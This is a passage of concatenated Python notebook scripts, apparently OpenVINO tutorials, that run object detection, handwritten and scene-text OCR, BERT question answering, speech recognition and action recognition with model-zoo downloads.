  width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
  height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
  x_scale = float(width)/416.0  #In the document of tino-yolo-v2, input shape of this network is (1,3,416,416).
  y_scale = float(height)/416.0      
 
  # writing the inferencing output as a video to the local disk
  fourcc = cv2.VideoWriter_fourcc(*'XVID')
  output_video_name = args.device + "_output.avi"
  output_video = cv2.VideoWriter(output_video_name,fourcc, float(17.0), (640,360))

  # capturing one frame at a time from the video feed and performing the inference
  i = 0
  while cv2.waitKey(1) < 0:
    l_start = time.time()
    ret, frame = cap.read()
    if not ret:
      break
    initial_w = cap.get(3)
    initial_h = cap.get(4)
        
    # preprocessing the input frame and reshaping it.
    #In the document of tino-yolo-v2, input shape of this network is (1,3,416,416). so we resize the model frame w.r.t that size.
    preprocessed_image =  image_preprocess(frame)

    start = time.time()
    #Running the session by passing in the input data of the model
    out = sess.run(None, {input_name: preprocessed_image})
    end = time.time()
    inference_time = end - start

    #Get the output
    postprocess_output(out, frame, x_scale, y_scale, i)
   
    #Show the Output
    output_video.write(frame)
    show_bbox(args.device, frame, inference_time)
        
    #Press 'q' to quit the process
    print('Processed Frame {}'.format(i))
    i += 1
    l_end = time.time()
    print('Loop Time = {}'.format(l_end - l_start))

  output_video.release()
  cv2.destroyAllWindows()

if __name__ == "__main__":
  main()
# Imports
from collections import namedtuple
from itertools import groupby
from pathlib import Path

import cv2
import matplotlib.pyplot as plt
import numpy as np
from openvino.runtime import Core

# Settings
# Directories where data will be placed
model_folder = "model"
data_folder = "data"
charlist_folder = f"{data_folder}/charlists"

# Precision used by model
precision = "FP16"

Language = namedtuple(
    typename="Language", field_names=["model_name", "charlist_name", "demo_image_name"]
)
chinese_files = Language(
    model_name="handwritten-simplified-chinese-recognition-0001",
    charlist_name="chinese_charlist.txt",
    demo_image_name="handwritten_chinese_test.jpg",
)
japanese_files = Language(
    model_name="handwritten-japanese-recognition-0001",
    charlist_name="japanese_charlist.txt",
    demo_image_name="handwritten_japanese_test.png",
)

# Select Language
# Select language by using either language='chinese' or language='japanese'
language = "chinese"

languages = {"chinese": chinese_files, "japanese": japanese_files}

selected_language = languages.get(language)

# Download Model
path_to_model_weights = Path(f'{model_folder}/intel/{selected_language.model_name}/{precision}/{selected_language.model_name}.bin')
if not path_to_model_weights.is_file():
    download_command = f'omz_downloader --name {selected_language.model_name} --output_dir {model_folder} --precision {precision}'
    print(download_command)
    ! $download_command

# Load Network and Execute
ie = Core()
path_to_model = path_to_model_weights.with_suffix(".xml")
model = ie.read_model(model=path_to_model)

# Select Device Name
# To check available device names run the line below
# print(ie.available_devices)

compiled_model = ie.compile_model(model=model, device_name="CPU")

# Fetch Information About Input and Output Layers
recognition_output_layer = compiled_model.output(0)
recognition_input_layer = compiled_model.input(0)

# Load an Image
# Read file name of demo file based on the selected model

file_name = selected_language.demo_image_name

# Text detection models expects an image in grayscale format
# IMPORTANT!!! This model allows to read only one line at time

# Read image
image = cv2.imread(filename=f"{data_folder}/{file_name}", flags=cv2.IMREAD_GRAYSCALE)

# Fetch shape
image_height, _ = image.shape

# B,C,H,W = batch size, number of channels, height, width
_, _, H, W = recognition_input_layer.shape

# Calculate scale ratio between input shape height and image height to resize image
scale_ratio = H / image_height

# Resize image to expected input sizes
resized_image = cv2.resize(
    image, None, fx=scale_ratio, fy=scale_ratio, interpolation=cv2.INTER_AREA
)

# Pad image to match input size, without changing aspect ratio
resized_image = np.pad(
    resized_image, ((0, 0), (0, W - resized_image.shape[1])), mode="edge"
)

# Reshape to network the input shape
input_image = resized_image[None, None, :, :]

# Visualise Input Image
plt.figure(figsize=(20, 1))
plt.axis("off")
plt.imshow(resized_image, cmap="gray", vmin=0, vmax=255);

# Prepare Charlist
# Get dictionary to encode output, based on model documentation
used_charlist = selected_language.charlist_name

# With both models, there should be blank symbol added at index 0 of each charlist
blank_char = "~"

with open(f"{charlist_folder}/{used_charlist}", "r", encoding="utf-8") as charlist:
    letters = blank_char + "".join(line.strip() for line in charlist)

# Run Inference
# Run inference on the model
predictions = compiled_model([input_image])[recognition_output_layer]

# Process Output Data
# Remove batch dimension
predictions = np.squeeze(predictions)

# Run argmax to pick the symbols with the highest probability
predictions_indexes = np.argmax(predictions, axis=1)

# Use groupby to remove concurrent letters, as required by CTC greedy decoding
output_text_indexes = list(groupby(predictions_indexes))

# Remove grouper objects
output_text_indexes, _ = np.transpose(output_text_indexes, (1, 0))

# Remove blank symbols
output_text_indexes = output_text_indexes[output_text_indexes != 0]

# Assign letters to indexes from output array
output_text = [letters[letter_index] for letter_index in output_text_indexes]

# Print Output
plt.figure(figsize=(20, 1))
plt.axis("off")
plt.imshow(resized_image, cmap="gray", vmin=0, vmax=255)

print("".join(output_text))
# Imports
import shutil
import sys
from pathlib import Path

import cv2
import matplotlib.pyplot as plt
import numpy as np
from IPython.display import Markdown, display
from PIL import Image
from openvino.runtime import Core
from yaspin import yaspin

sys.path.append("../utils")
from notebook_utils import load_image

# Settings
ie = Core()

model_dir = Path("model")
precision = "FP16"
detection_model = "horizontal-text-detection-0001"
recognition_model = "text-recognition-resnet-fc"
base_model_dir = Path("~/open_model_zoo_models").expanduser()
omz_cache_dir = Path("~/open_model_zoo_cache").expanduser()

model_dir.mkdir(exist_ok=True)

# Download Models
download_command = f"omz_downloader --name {detection_model},{recognition_model} --output_dir {base_model_dir} --cache_dir {omz_cache_dir} --precision {precision}"
display(Markdown(f"Download command: `{download_command}`"))
with yaspin(text=f"Downloading {detection_model}, {recognition_model}") as sp:
    download_result = !$download_command
    print(download_result)
    sp.text = f"Finished downloading {detection_model}, {recognition_model}"
    sp.ok("✔")

# Convert Models
convert_command = f"omz_converter --name {recognition_model} --precisions {precision} --download_dir {base_model_dir} --output_dir {base_model_dir}"
display(Markdown(f"Convert command: `{convert_command}`"))
display(Markdown(f"Converting {recognition_model}..."))
! $convert_command

# Copy Models
models_info_output = %sx omz_info_dumper --name $detection_model,$recognition_model
print(f'sx omz_info_dumper --name {detection_model},{recognition_model}')
detection_model_info, recognition_model_info = [
    {
        "name": "horizontal-text-detection-0001",
        "composite_model_name": None,
        "description": "Horizontal text detector based on FCOS with light MobileNetV2 backbone",
        "framework": "dldt",
        "license_url": "https://raw.githubusercontent.com/openvinotoolkit/open_model_zoo/master/LICENSE",
        "precisions": [
            "FP16",
            "FP16-INT8",
            "FP32"
        ],
        "quantization_output_precisions": [],
        "subdirectory": "intel/horizontal-text-detection-0001",
        "task_type": "detection"
    },
    {
        "name": "text-recognition-resnet-fc",
        "composite_model_name": None,
        "description": "\"text-recognition-resnet-fc\" is a simple and preformant scene text recognition model based on ResNet with Fully Connected text recognition head. Source implementation on a PyTorch* framework could be found here <https://github.com/Media-Smart/vedastr>. Model is able to recognize alphanumeric text.",
        "framework": "pytorch",
        "license_url": "https://raw.githubusercontent.com/Media-Smart/vedastr/0fd2a0bd7819ae4daa2a161501e9f1c2ac67e96a/LICENSE",
        "precisions": [
            "FP16",
            "FP32"
        ],
        "quantization_output_precisions": [],
        "subdirectory": "public/text-recognition-resnet-fc",
        "task_type": "optical_character_recognition"
    }
]

for model_info in (detection_model_info, recognition_model_info):
    omz_dir = Path(model_info["subdirectory"])
    omz_model_dir = base_model_dir / omz_dir / precision
    print(omz_model_dir) 
    for model_file in omz_model_dir.iterdir():
        try:
            shutil.copyfile(model_file, model_dir / model_file.name)
        except FileExistsError:
            pass

detection_model_path = (model_dir / detection_model).with_suffix(".xml")
recognition_model_path = (model_dir / recognition_model).with_suffix(".xml")

# Load Detection Model
detection_model = ie.read_model(
    model=detection_model_path, weights=detection_model_path.with_suffix(".bin")
)
detection_compiled_model = ie.compile_model(model=detection_model, device_name="CPU")

detection_input_layer = detection_compiled_model.input(0)

# Load an Image
# image_file can point to a URL or local image
image_file = "https://github.com/openvinotoolkit/openvino_notebooks/raw/main/notebooks/004-hello-detection/data/intel_rnb.jpg"

image = load_image(image_file)

# N,C,H,W = batch size, number of channels, height, width
N, C, H, W = detection_input_layer.shape

# Resize image to meet network expected input sizes
resized_image = cv2.resize(image, (W, H))

# Reshape to network input shape
input_image = np.expand_dims(resized_image.transpose(2, 0, 1), 0)

plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB));

# Do Inference
output_key = detection_compiled_model.output("boxes")
boxes = detection_compiled_model([input_image])[output_key]

# Remove zero only boxes
boxes = boxes[~np.all(boxes == 0, axis=1)]

# Get Detection Results
def multiply_by_ratio(ratio_x, ratio_y, box):
    return [
        max(shape * ratio_y, 10) if idx % 2 else shape * ratio_x
        for idx, shape in enumerate(box[:-1])
    ]


def run_preprocesing_on_crop(crop, net_shape):
    temp_img = cv2.resize(crop, net_shape)
    temp_img = temp_img.reshape((1,) * 2 + temp_img.shape)
    return temp_img


def convert_result_to_image(bgr_image, resized_image, boxes, threshold=0.3, conf_labels=True):
    # Define colors for boxes and descriptions
    colors = {"red": (255, 0, 0), "green": (0, 255, 0), "white": (255, 255, 255)}

    # Fetch image shapes to calculate ratio
    (real_y, real_x), (resized_y, resized_x) = image.shape[:2], resized_image.shape[:2]
    ratio_x, ratio_y = real_x / resized_x, real_y / resized_y

    # Convert base image from bgr to rgb format
    rgb_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2RGB)

    # Iterate through non-zero boxes
    for box, annotation in boxes:
        # Pick confidence factor from last place in array
        conf = box[-1]
        if conf > threshold:
            # Convert float to int and multiply position of each box by x and y ratio
            (x_min, y_min, x_max, y_max) = map(int, multiply_by_ratio(ratio_x, ratio_y, box))

            # Draw box based on position, parameters in rectangle function are: image, start_point, end_point, color, thickness
            cv2.rectangle(rgb_image, (x_min, y_min), (x_max, y_max), colors["green"], 3)

            # Add text to image based on position and confidence, parameters in putText function are: image, text, bottomleft_corner_textfield, font, font_scale, color, thickness, line_type
            if conf_labels:
                # Create background box based on annotation length
                (text_w, text_h), _ = cv2.getTextSize(
                    f"{annotation}", cv2.FONT_HERSHEY_TRIPLEX, 0.8, 1
                )
                image_copy = rgb_image.copy()
                cv2.rectangle(
                    image_copy,
                    (x_min, y_min - text_h - 10),
                    (x_min + text_w, y_min - 10),
                    colors["white"],
                    -1,
                )
                # Add weighted image copy with white boxes under text
                cv2.addWeighted(image_copy, 0.4, rgb_image, 0.6, 0, rgb_image)
                cv2.putText(
                    rgb_image,
                    f"{annotation}",
                    (x_min, y_min - 10),
                    cv2.FONT_HERSHEY_SIMPLEX,
                    0.8,
                    colors["red"],
                    1,
                    cv2.LINE_AA,
                )

    return rgb_image

# Load Text Recognition Model
recognition_model = ie.read_model(
    model=recognition_model_path, weights=recognition_model_path.with_suffix(".bin")
)

recognition_compiled_model = ie.compile_model(model=recognition_model, device_name="CPU")

recognition_output_layer = recognition_compiled_model.output(0)
recognition_input_layer = recognition_compiled_model.input(0)

# Get height and width of input layer
_, _, H, W = recognition_input_layer.shape

# Do Inference
# Calculate scale for image resizing
(real_y, real_x), (resized_y, resized_x) = image.shape[:2], resized_image.shape[:2]
ratio_x, ratio_y = real_x / resized_x, real_y / resized_y

# Convert image to grayscale for text recognition model
grayscale_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

# Get dictionary to encode output, based on model documentation
letters = "~0123456789abcdefghijklmnopqrstuvwxyz"

# Prepare empty list for annotations
annotations = list()
cropped_images = list()
# fig, ax = plt.subplots(len(boxes), 1, figsize=(5,15), sharex=True, sharey=True)
# For each crop, based on boxes given by detection model we want to get annotations
for i, crop in enumerate(boxes):
    # Get coordinates on corners of crop
    (x_min, y_min, x_max, y_max) = map(int, multiply_by_ratio(ratio_x, ratio_y, crop))
    image_crop = run_preprocesing_on_crop(grayscale_image[y_min:y_max, x_min:x_max], (W, H))

    # Run inference with recognition model
    result = recognition_compiled_model([image_crop])[recognition_output_layer]

    # Squeeze output to remove unnececery dimension
    recognition_results_test = np.squeeze(result)

    # Read annotation based on probabilities from output layer
    annotation = list()
    for letter in recognition_results_test:
        parsed_letter = letters[letter.argmax()]

        # Returning 0 index from argmax signalises end of string
        if parsed_letter == letters[0]:
            break
        annotation.append(parsed_letter)
    annotations.append("".join(annotation))
    cropped_image = Image.fromarray(image[y_min:y_max, x_min:x_max])
    cropped_images.append(cropped_image)

boxes_with_annotations = list(zip(boxes, annotations))

# Show Detected Text Boxes and OCR Results for the Image
plt.figure(figsize=(12, 12))
plt.imshow(convert_result_to_image(image, resized_image, boxes_with_annotations, conf_labels=True));

# Show the OCR Result per Bounding Box
for cropped_image, annotation in zip(cropped_images, annotations):
    display(cropped_image, Markdown("".join(annotation)))

# Print Annotations in Plain Text Format
[
    annotation
    for _, annotation in sorted(zip(boxes, annotations), key=lambda x: x[0][0] ** 2 + x[0][1] ** 2)
]
# Imports
import operator
import time
from urllib import parse

import numpy as np
from openvino.runtime import Core

import html_reader as reader
import tokens_bert as tokens

# Download the model
# directory where model will be downloaded
base_model_dir = "model"

# desired precision
precision = "FP16-INT8"

# model name as named in Open Model Zoo
model_name = "bert-small-uncased-whole-word-masking-squad-int8-0002"

model_path = f"model/intel/{model_name}/{precision}/{model_name}.xml"
model_weights_path = f"model/intel/{model_name}/{precision}/{model_name}.bin"

download_command = f"omz_downloader " \
                   f"--name {model_name} " \
                   f"--precision {precision} " \
                   f"--output_dir {base_model_dir} " \
                   f"--cache_dir {base_model_dir}"
! $download_command

# Load the model
# initialize inference engine
core = Core()
# read the network and corresponding weights from file
model = core.read_model(model=model_path, weights=model_weights_path)
# load the model on the CPU (you can use GPU as well)
compiled_model = core.compile_model(model=model, device_name="CPU")

# get input and output names of nodes
input_keys = list(compiled_model.inputs)
output_keys = list(compiled_model.outputs)

# get network input size
input_size = compiled_model.input(0).shape[1]

# Processing
# path to vocabulary file
vocab_file_path = "data/vocab.txt"

# create dictionary with words and their indices
vocab = tokens.load_vocab_file(vocab_file_path)

# define special tokens
cls_token = vocab["[CLS]"]
pad_token = vocab["[PAD]"]
sep_token = vocab["[SEP]"]


# function to load text from given urls
def load_context(sources):
    input_urls = []
    paragraphs = []
    for source in sources:
        result = parse.urlparse(source)
        if all([result.scheme, result.netloc]):
            input_urls.append(source)
        else:
            paragraphs.append(source)

    paragraphs.extend(reader.get_paragraphs(input_urls))
    # produce one big context string
    return "\n".join(paragraphs)

# Preprocessing
# generator of a sequence of inputs
def prepare_input(question_tokens, context_tokens):
    # length of question in tokens
    question_len = len(question_tokens)
    # context part size
    context_len = input_size - question_len - 3

    if context_len < 16:
        raise RuntimeError("Question is too long in comparison to input size. No space for context")

    # take parts of context with overlapping by 0.5
    for start in range(0, max(1, len(context_tokens) - context_len), context_len // 2):
        # part of context
        part_context_tokens = context_tokens[start:start + context_len]
        # input: question and context separated by special tokens
        input_ids = [cls_token] + question_tokens + [sep_token] + part_context_tokens + [sep_token]
        # 1 for any index if there is no padding token, 0 otherwise
        attention_mask = [1] * len(input_ids)
        # 0 for question tokens, 1 for context part
        token_type_ids = [0] * (question_len + 2) + [1] * (len(part_context_tokens) + 1)

        # add padding at the end
        (input_ids, attention_mask, token_type_ids), pad_number = pad(input_ids=input_ids,
                                                                      attention_mask=attention_mask,
                                                                      token_type_ids=token_type_ids)

        # create input to feed the model
        input_dict = {
            "input_ids": np.array([input_ids], dtype=np.int32),
            "attention_mask": np.array([attention_mask], dtype=np.int32),
            "token_type_ids": np.array([token_type_ids], dtype=np.int32),
        }

        # some models require additional position_ids
        if "position_ids" in [i_key.any_name for i_key in input_keys]:
            position_ids = np.arange(len(input_ids))
            input_dict["position_ids"] = np.array([position_ids], dtype=np.int32)

        yield input_dict, pad_number, start


# function to add padding
def pad(input_ids, attention_mask, token_type_ids):
    # how many padding tokens
    diff_input_size = input_size - len(input_ids)

    if diff_input_size > 0:
        # add padding to all inputs
        input_ids = input_ids + [pad_token] * diff_input_size
        attention_mask = attention_mask + [0] * diff_input_size
        token_type_ids = token_type_ids + [0] * diff_input_size

    return (input_ids, attention_mask, token_type_ids), diff_input_size

# Postprocessing
# based on https://github.com/openvinotoolkit/open_model_zoo/blob/bf03f505a650bafe8da03d2747a8b55c5cb2ef16/demos/common/python/openvino/model_zoo/model_api/models/bert.py#L163
def postprocess(output_start, output_end, question_tokens, context_tokens_start_end, padding, start_idx):

    def get_score(logits):
        out = np.exp(logits)
        return out / out.sum(axis=-1)

    # get start-end scores for context
    score_start = get_score(output_start)
    score_end = get_score(output_end)

    # index of first context token in tensor
    context_start_idx = len(question_tokens) + 2
    # index of last+1 context token in tensor
    context_end_idx = input_size - padding - 1

    # find product of all start-end combinations to find the best one
    max_score, max_start, max_end = find_best_answer_window(start_score=score_start,
                                                            end_score=score_end,
                                                            context_start_idx=context_start_idx,
                                                            context_end_idx=context_end_idx)

    # convert to context text start-end index
    max_start = context_tokens_start_end[max_start + start_idx][0]
    max_end = context_tokens_start_end[max_end + start_idx][1]

    return max_score, max_start, max_end


# based on https://github.com/openvinotoolkit/open_model_zoo/blob/bf03f505a650bafe8da03d2747a8b55c5cb2ef16/demos/common/python/openvino/model_zoo/model_api/models/bert.py#L188
def find_best_answer_window(start_score, end_score, context_start_idx, context_end_idx):
    context_len = context_end_idx - context_start_idx
    score_mat = np.matmul(
        start_score[context_start_idx:context_end_idx].reshape((context_len, 1)),
        end_score[context_start_idx:context_end_idx].reshape((1, context_len)),
    )
    # reset candidates with end before start
    score_mat = np.triu(score_mat)
    # reset long candidates (>16 words)
    score_mat = np.tril(score_mat, 16)
    # find the best start-end pair
    max_s, max_e = divmod(score_mat.flatten().argmax(), score_mat.shape[1])
    max_score = score_mat[max_s, max_e]

    return max_score, max_s, max_e

def get_best_answer(question, context):
    # convert context string to tokens
    context_tokens, context_tokens_start_end = tokens.text_to_tokens(text=context.lower(),
                                                                     vocab=vocab)
    # convert question string to tokens
    question_tokens, _ = tokens.text_to_tokens(text=question.lower(), vocab=vocab)

    results = []
    # iterate through different parts of context
    for network_input, padding, start_idx in prepare_input(question_tokens=question_tokens,
                                                           context_tokens=context_tokens):
        # get output layers
        output_start_key = compiled_model.output("output_s")
        output_end_key = compiled_model.output("output_e")

        # openvino inference
        result = compiled_model(network_input)
        # postprocess the result getting the score and context range for the answer
        score_start_end = postprocess(output_start=result[output_start_key][0],
                                      output_end=result[output_end_key][0],
                                      question_tokens=question_tokens,
                                      context_tokens_start_end=context_tokens_start_end,
                                      padding=padding,
                                      start_idx=start_idx)
        results.append(score_start_end)

    # find the highest score
    answer = max(results, key=operator.itemgetter(0))
    # return the part of the context, which is already an answer
    return context[answer[1]:answer[2]], answer[0]

# Main Processing Function
def run_question_answering(sources):
    print(f"Context: {sources}", flush=True)
    context = load_context(sources)

    if len(context) == 0:
        print("Error: Empty context or outside paragraphs")
        return

    while True:
        question = input()
        # if no question - break
        if question == "":
            break

        # measure processing time
        start_time = time.perf_counter()
        answer, score = get_best_answer(question=question, context=context)
        end_time = time.perf_counter()

        print(f"Question: {question}")
        print(f"Answer: {answer}")
        print(f"Score: {score:.2f}")
        print(f"Time: {end_time - start_time:.2f}s")

# Run on local paragraphs
sources = ["Computational complexity theory is a branch of the theory of computation in theoretical computer "
           "science that focuses on classifying computational problems according to their inherent difficulty, "
           "and relating those classes to each other. A computational problem is understood to be a task that "
           "is in principle amenable to being solved by a computer, which is equivalent to stating that the "
           "problem may be solved by mechanical application of mathematical steps, such as an algorithm."]

run_question_answering(sources)

# Run on websites
sources = ["https://en.wikipedia.org/wiki/OpenVINO"]

run_question_answering(sources)
# Imports
from pathlib import Path

import IPython.display as ipd
import librosa
import librosa.display
import matplotlib.pyplot as plt
import numpy as np
import scipy
from openvino.runtime import Core

# Settings
model_folder = "model"
download_folder = "output"
data_folder = "data"

precision = "FP16"
model_name = "quartznet-15x5-en"

# Download Model
# Check if model is already downloaded in download directory
path_to_model_weights = Path(f'{download_folder}/public/{model_name}/models')
downloaded_model_file = list(path_to_model_weights.glob('*.pth'))

if not path_to_model_weights.is_dir() or len(downloaded_model_file) == 0:
    download_command = f"omz_downloader --name {model_name} --output_dir {download_folder} --precision {precision}"
    ! $download_command

# Convert Model
# Check if model is already converted in model directory
path_to_converted_weights = Path(f'{model_folder}/public/{model_name}/{precision}/{model_name}.bin')

if not path_to_converted_weights.is_file():
    convert_command = f"omz_converter --name {model_name} --precisions {precision} --download_dir {download_folder} --output_dir {model_folder}"
    ! $convert_command

# Defining constants
audio_file_name = "edge_to_cloud.ogg"
alphabet = " abcdefghijklmnopqrstuvwxyz'~"

# Load Audio File
audio, sampling_rate = librosa.load(path=f'{data_folder}/{audio_file_name}', sr=16000)
ipd.Audio(audio, rate=sampling_rate)

# Visualise Audio File
plt.figure()
librosa.display.waveplot(y=audio, sr=sampling_rate, max_points=50000.0, x_axis='time', offset=0.0, max_sr=1000);
plt.show()
specto_audio = librosa.stft(audio)
specto_audio = librosa.amplitude_to_db(np.abs(specto_audio), ref=np.max)
print(specto_audio.shape)
librosa.display.specshow(specto_audio, sr=sampling_rate, x_axis='time', y_axis='hz');

# Change Type of Data
if max(np.abs(audio)) <= 1:
    audio = (audio * (2**15 - 1))
audio = audio.astype(np.int16)

# Convert Audio to Mel Spectrum
def audio_to_mel(audio, sampling_rate):
    assert sampling_rate == 16000, "Only 16 KHz audio supported"
    preemph = 0.97
    preemphased = np.concatenate([audio[:1], audio[1:] - preemph * audio[:-1].astype(np.float32)])

    # Calculate window length
    win_length = round(sampling_rate * 0.02)

    # Based on previously calculated window length run short-time Fourier transform
    spec = np.abs(librosa.core.spectrum.stft(preemphased, n_fft=512, hop_length=round(sampling_rate * 0.01),
                  win_length=win_length, center=True, window=scipy.signal.windows.hann(win_length), pad_mode='reflect'))

    # Create mel filter-bank, produce transformation matrix to project current values onto Mel-frequency bins
    mel_basis = librosa.filters.mel(sampling_rate, 512, n_mels=64, fmin=0.0, fmax=8000.0, htk=False)
    return mel_basis, spec


def mel_to_input(mel_basis, spec, padding=16):
    # Convert to logarithmic scale
    log_melspectrum = np.log(np.dot(mel_basis, np.power(spec, 2)) + 2 ** -24)

    # Normalize output
    normalized = (log_melspectrum - log_melspectrum.mean(1)[:, None]) / (log_melspectrum.std(1)[:, None] + 1e-5)

    # Calculate padding
    remainder = normalized.shape[1] % padding
    if remainder != 0:
        return np.pad(normalized, ((0, 0), (0, padding - remainder)))[None]
    return normalized[None]

# Run Conversion from Audio to Mel Format
mel_basis, spec = audio_to_mel(audio=audio.flatten(), sampling_rate=sampling_rate)

# Visualise Mel Spectogram
librosa.display.specshow(data=spec, sr=sampling_rate, x_axis='time', y_axis='log');
plt.show();
librosa.display.specshow(data=mel_basis, sr=sampling_rate, x_axis='linear');
plt.ylabel('Mel filter');

# Adjust Mel scale to Input
audio = mel_to_input(mel_basis=mel_basis, spec=spec)

# Load Model
ie = Core()

model = ie.read_model(
    model=f"{model_folder}/public/{model_name}/{precision}/{model_name}.xml"
)
model_input_layer = model.input(0)
shape = model_input_layer.partial_shape
shape[2] = -1
model.reshape({model_input_layer: shape})
compiled_model = ie.compile_model(model=model, device_name="CPU")

# Do Inference
output_layer_ir = compiled_model.output(0)

character_probabilities = compiled_model([audio])[output_layer_ir]

# Read Output
# Remove unnececery dimension
character_probabilities = np.squeeze(character_probabilities)

# Run argmax to pick most possible symbols
character_probabilities = np.argmax(character_probabilities, axis=1)

# Implementation of Decoding
def ctc_greedy_decode(predictions):
    previous_letter_id = blank_id = len(alphabet) - 1
    transcription = list()
    for letter_index in predictions:
        if previous_letter_id != letter_index != blank_id:
            transcription.append(alphabet[letter_index])
        previous_letter_id = letter_index
    return ''.join(transcription)

# Run Decoding and Print Output
transcription = ctc_greedy_decode(character_probabilities)
print(transcription)
# Imports
import collections
import os
import sys
import time
from typing import Tuple, List

import cv2
import numpy as np
from IPython import display
from openvino.runtime import Core
from openvino.runtime.ie_api import CompiledModel

sys.path.append("../utils")
import notebook_utils as utils

# Download the models
# Directory where model will be downloaded
base_model_dir = "model"
# Model name as named in Open Model Zoo
model_name = "action-recognition-0001"
# Selected precision (FP32, FP16, FP16-INT8)
precision = "FP16"
model_path_decoder = (
    f"model/intel/{model_name}/{model_name}-decoder/{precision}/{model_name}-decoder.xml"
)
model_path_encoder = (
    f"model/intel/{model_name}/{model_name}-encoder/{precision}/{model_name}-encoder.xml"
)
if not os.path.exists(model_path_decoder) or not os.path.exists(model_path_encoder):
    download_command = f"omz_downloader " \
                       f"--name {model_name} " \
                       f"--precision {precision} " \
                       f"--output_dir {base_model_dir}"
    ! $download_command

# Load your labels
labels = "data/kinetics.txt"

with open(labels) as f:
    labels = [line.strip() for line in f]

print(labels[0:9], np.shape(labels))

# Model Initialization function
# Initialize inference engine
ie_core = Core()


def model_init(model_path: str) -> Tuple:
    """
    Read the network and weights from file, load the
    model on the CPU and get input and output names of nodes

    :param: model: model architecture path *.xml
    :retuns:
            compiled_model: Compiled model 
            input_key: Input node for model
            output_key: Output node for model
    """

    # Read the network and corresponding weights from file
    model = ie_core.read_model(model=model_path)
    # compile the model for the CPU (you can use GPU or MYRIAD as well)
    compiled_model = ie_core.compile_model(model=model, device_name="CPU")
    # Get input and output names of nodes
    input_keys = compiled_model.input(0)
    output_keys = compiled_model.output(0)
    return input_keys, output_keys, compiled_model

# Initialization for Encoder and Decoder
# Encoder initialization
input_key_en, output_keys_en, compiled_model_en = model_init(model_path_encoder)
# Decoder initialization
input_key_de, output_keys_de, compiled_model_de = model_init(model_path_decoder)

# Get input size - Encoder
height_en, width_en = list(input_key_en.shape)[2:]
# Get input size - Decoder
frames2decode = list(input_key_de.shape)[0:][1]

# Helper functions
def center_crop(frame: np.ndarray) -> np.ndarray:
    """
    Center crop squared the original frame to standardize the input image to the encoder model

    :param frame: input frame
    :returns: center-crop-squared frame
    """
    img_h, img_w, _ = frame.shape
    min_dim = min(img_h, img_w)
    start_x = int((img_w - min_dim) / 2.0)
    start_y = int((img_h - min_dim) / 2.0)
    roi = [start_y, (start_y + min_dim), start_x, (start_x + min_dim)]
    return frame[start_y : (start_y + min_dim), start_x : (start_x + min_dim), ...], roi


def adaptive_resize(frame: np.ndarray, size: int) -> np.ndarray:
    """
     The frame going to be resized to have a height of size or a width of size

    :param frame: input frame
    :param size: input size to encoder model
    :returns: resized frame, np.array type
    """
    h, w, _ = frame.shape
    scale = size / min(h, w)
    w_scaled, h_scaled = int(w * scale), int(h * scale)
    if w_scaled == w and h_scaled == h:
        return frame
    return cv2.resize(frame, (w_scaled, h_scaled))


def decode_output(probs: np.ndarray, labels: np.ndarray, top_k: int = 3) -> np.ndarray:
    """
    Decodes top probabilities into corresponding label names

    :param probs: confidence vector for 400 actions
    :param labels: list of actions
    :param top_k: The k most probable positions in the list of labels
    :returns: decoded_labels: The k most probable actions from the labels list
              decoded_top_probs: confidence for the k most probable actions
    """
    top_ind = np.argsort(-1 * probs)[:top_k]
    out_label = np.array(labels)[top_ind.astype(int)]
    decoded_labels = [out_label[0][0], out_label[0][1], out_label[0][2]]
    top_probs = np.array(probs)[0][top_ind.astype(int)]
    decoded_top_probs = [top_probs[0][0], top_probs[0][1], top_probs[0][2]]
    return decoded_labels, decoded_top_probs


def rec_frame_display(frame: np.ndarray, roi) -> np.ndarray:
    """
    Draw a rec frame over actual frame

    :param frame: input frame
    :param roi: Region of interest, image section processed by the Encoder
    :returns: frame with drawed shape

    """

    cv2.line(frame, (roi[2] + 3, roi[0] + 3), (roi[2] + 3, roi[0] + 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[2] + 3, roi[0] + 3), (roi[2] + 100, roi[0] + 3), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[1] - 3), (roi[3] - 3, roi[1] - 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[1] - 3), (roi[3] - 100, roi[1] - 3), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[0] + 3), (roi[3] - 3, roi[0] + 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[0] + 3), (roi[3] - 100, roi[0] + 3), (0, 200, 0), 2)
    cv2.line(frame, (roi[2] + 3, roi[1] - 3), (roi[2] + 3, roi[1] - 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[2] + 3, roi[1] - 3), (roi[2] + 100, roi[1] - 3), (0, 200, 0), 2)
    # Write ROI over actual frame
    FONT_STYLE = cv2.FONT_HERSHEY_SIMPLEX
    org = (roi[2] + 3, roi[1] - 3)
    org2 = (roi[2] + 2, roi[1] - 2)
    FONT_SIZE = 0.5
    FONT_COLOR = (0, 200, 0)
    FONT_COLOR2 = (0, 0, 0)
    cv2.putText(frame, "ROI", org2, FONT_STYLE, FONT_SIZE, FONT_COLOR2)
    cv2.putText(frame, "ROI", org, FONT_STYLE, FONT_SIZE, FONT_COLOR)
    return frame


def display_text_fnc(frame: np.ndarray, display_text: str, index: int):
    """
    Include text on the analized frame

    :param frame: input frame
    :param display_text: text to add on the frame
    :param index: index line dor adding text

    """
    # Configuration for displaying images with text
    FONT_COLOR = (255, 255, 255)
    FONT_COLOR2 = (0, 0, 0)
    FONT_STYLE = cv2.FONT_HERSHEY_DUPLEX
    FONT_SIZE = 0.7
    TEXT_VERTICAL_INTERVAL = 25
    TEXT_LEFT_MARGIN = 15
    # ROI over actual frame
    (processed, roi) = center_crop(frame)
    # Draw a ROI over actual frame
    frame = rec_frame_display(frame, roi)
    # Put text over actual frame
    text_loc = (TEXT_LEFT_MARGIN, TEXT_VERTICAL_INTERVAL * (index + 1))
    text_loc2 = (TEXT_LEFT_MARGIN + 1, TEXT_VERTICAL_INTERVAL * (index + 1) + 1)
    cv2.putText(frame, display_text, text_loc2, FONT_STYLE, FONT_SIZE, FONT_COLOR2)
